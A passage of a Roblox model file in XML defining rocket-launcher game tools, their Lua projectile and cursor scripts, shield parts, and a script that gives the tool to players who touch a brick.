									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Server Launcher</string>
									<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(23)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position

	dir = computeDirection(dir)

	local missile = Rocket:clone()

	local pos = vHandle.Position + (dir * 6)
	
	--missile.Position = pos
	missile.CFrame = CFrame.new(pos,  pos + dir)

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	fire(targetPos)

	wait(2)

	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX4349">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">RocketScript</string>
									<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position  + direction * 20
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;Monster&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 3.5 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
								</Properties>
							</Item>
							<Item class="LocalScript" referent="RBX4350">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Local Gui</string>
									<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;http://www.roblox.com/asset/?version=1&amp;id=1279200&quot;

	wait(5)
	mouse.Icon = &quot;http://www.roblox.com/asset/?version=1&amp;id=1279200&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;http://www.roblox.com/asset/?version=1&amp;id=1279200&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX4351">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-1715.5</X>
										<Y>9.39054775</Y>
										<Z>147.599976</Z>
										<R00>2.7293936e-009</R00>
										<R01>-3.47002982e-012</R01>
										<R02>0.999999404</R02>
										<R10>-0.999999881</R10>
										<R11>1.07285086e-006</R11>
										<R12>2.78487278e-009</R12>
										<R20>-1.07291453e-006</R20>
										<R21>-0.999999285</R21>
										<R22>-1.22030164e-012</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Handle</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>3</X>
										<Y>0.800000012</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="Sound" referent="RBX4352">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">false</bool>
										<string name="Name">Fire</string>
										<float name="Pitch">1</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="SpecialMesh" referent="RBX4353">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><url>rbxasset://fonts/rocketlauncher.mesh</url></Content>
										<token name="MeshType">5</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>0.75</X>
											<Y>0.75</Y>
											<Z>0.75</Z>
										</Vector3>
										<Content name="TextureId"><url>rbxasset://textures/rocketlaunchertex.png</url></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4354">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Multi Rocket</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4355">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1705.50024</X>
							<Y>10.8013182</Y>
							<Z>144.500122</Z>
							<R00>0.999999702</R00>
							<R01>2.31133472e-005</R01>
							<R02>1.04804976e-005</R02>
							<R10>-2.31131762e-005</R10>
							<R11>1</R11>
							<R12>-1.26419191e-005</R12>
							<R20>-1.04807905e-005</R20>
							<R21>1.26416526e-005</R21>
							<R22>0.999999702</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Front Shield</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4356">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1703.5</X>
							<Y>10.8000002</Y>
							<Z>145.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">DO NOT RENAME HEAD</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4357">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-1705.50195</X>
							<Y>11.105834</Y>
							<Z>143.499878</Z>
							<R00>2.32633512e-009</R00>
							<R01>0.00015259003</R01>
							<R02>-0.999997854</R02>
							<R10>3.05179747e-005</R10>
							<R11>1</R11>
							<R12>0.00015259003</R12>
							<R20>0.999997854</R20>
							<R21>-3.05180438e-005</R21>
							<R22>-2.3240494e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Put your tool into this brick</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Tool" referent="RBX4358">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Enabled">true</bool>
							<CoordinateFrame name="Grip">
								<X>-0.75</X>
								<Y>-0.5</Y>
								<Z>0.100000001</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<string name="Name">Fast-Multi Rocket</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Sound" referent="RBX4359">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Explosion</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4360">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Swoosh</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=12222095</url></Content>
								<float name="Volume">0.699999988</float>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX4361">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1705.61865</X>
									<Y>8.79336643</Y>
									<Z>146.496948</Z>
									<R00>-9.32073453e-005</R00>
									<R01>0.999999046</R01>
									<R02>0.000223445735</R02>
									<R10>-0.99999994</R10>
									<R11>-9.32054973e-005</R11>
									<R12>8.51077348e-005</R12>
									<R20>8.51285804e-005</R20>
									<R21>-0.000223437804</R21>
									<R22>0.999999106</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Handle</string>
								<float name="Reflectance">0.400000006</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.00175387529</X>
									<Y>0.00296675204</Y>
									<Z>-0.00215975684</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.00111476029</X>
									<Y>-0.0176261906</Y>
									<Z>0.00374201406</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>0.800000012</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX4362">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1030777</url></Content>
									<token name="MeshType">5</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>0.75</X>
										<Y>0.75</Y>
										<Z>0.75</Z>
									</Vector3>
									<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1030776</url></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX4363">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294940416</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX4364">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Server Launcher</string>
								<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(6)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget, offset)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position
	dir = computeDirection(dir)
	local missileCF = CFrame.new(vHandle.Position,  vHandle.Position + dir)
	local missile = Rocket:clone()
	local color = math.random(1,32)
	missile.BrickColor = BrickColor.new(color)
	print(color)
	missile.CFrame = missileCF * offset

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	for i=-15,15,5 do
		fire(targetPos, CFrame.new(i,0,-9))
	end

	wait(0)
	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="LocalScript" referent="RBX4365">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Local Gui</string>
								<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

	wait(12)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4366">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">RocketScript</string>
								<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position + direction * 3
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;creator&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 10.0 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4367">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Put this script into your tool</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4368">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1705.50024</X>
							<Y>10.80128</Y>
							<Z>147.500122</Z>
							<R00>0.999999702</R00>
							<R01>2.31133472e-005</R01>
							<R02>1.04804976e-005</R02>
							<R10>-2.31131762e-005</R10>
							<R11>1</R11>
							<R12>-1.26419191e-005</R12>
							<R20>-1.04807905e-005</R20>
							<R21>1.26416526e-005</R21>
							<R22>0.999999702</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Back Shield</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4369">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294940416</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4370">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1707.5</X>
							<Y>10.8000002</Y>
							<Z>145.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Shield</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4371">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
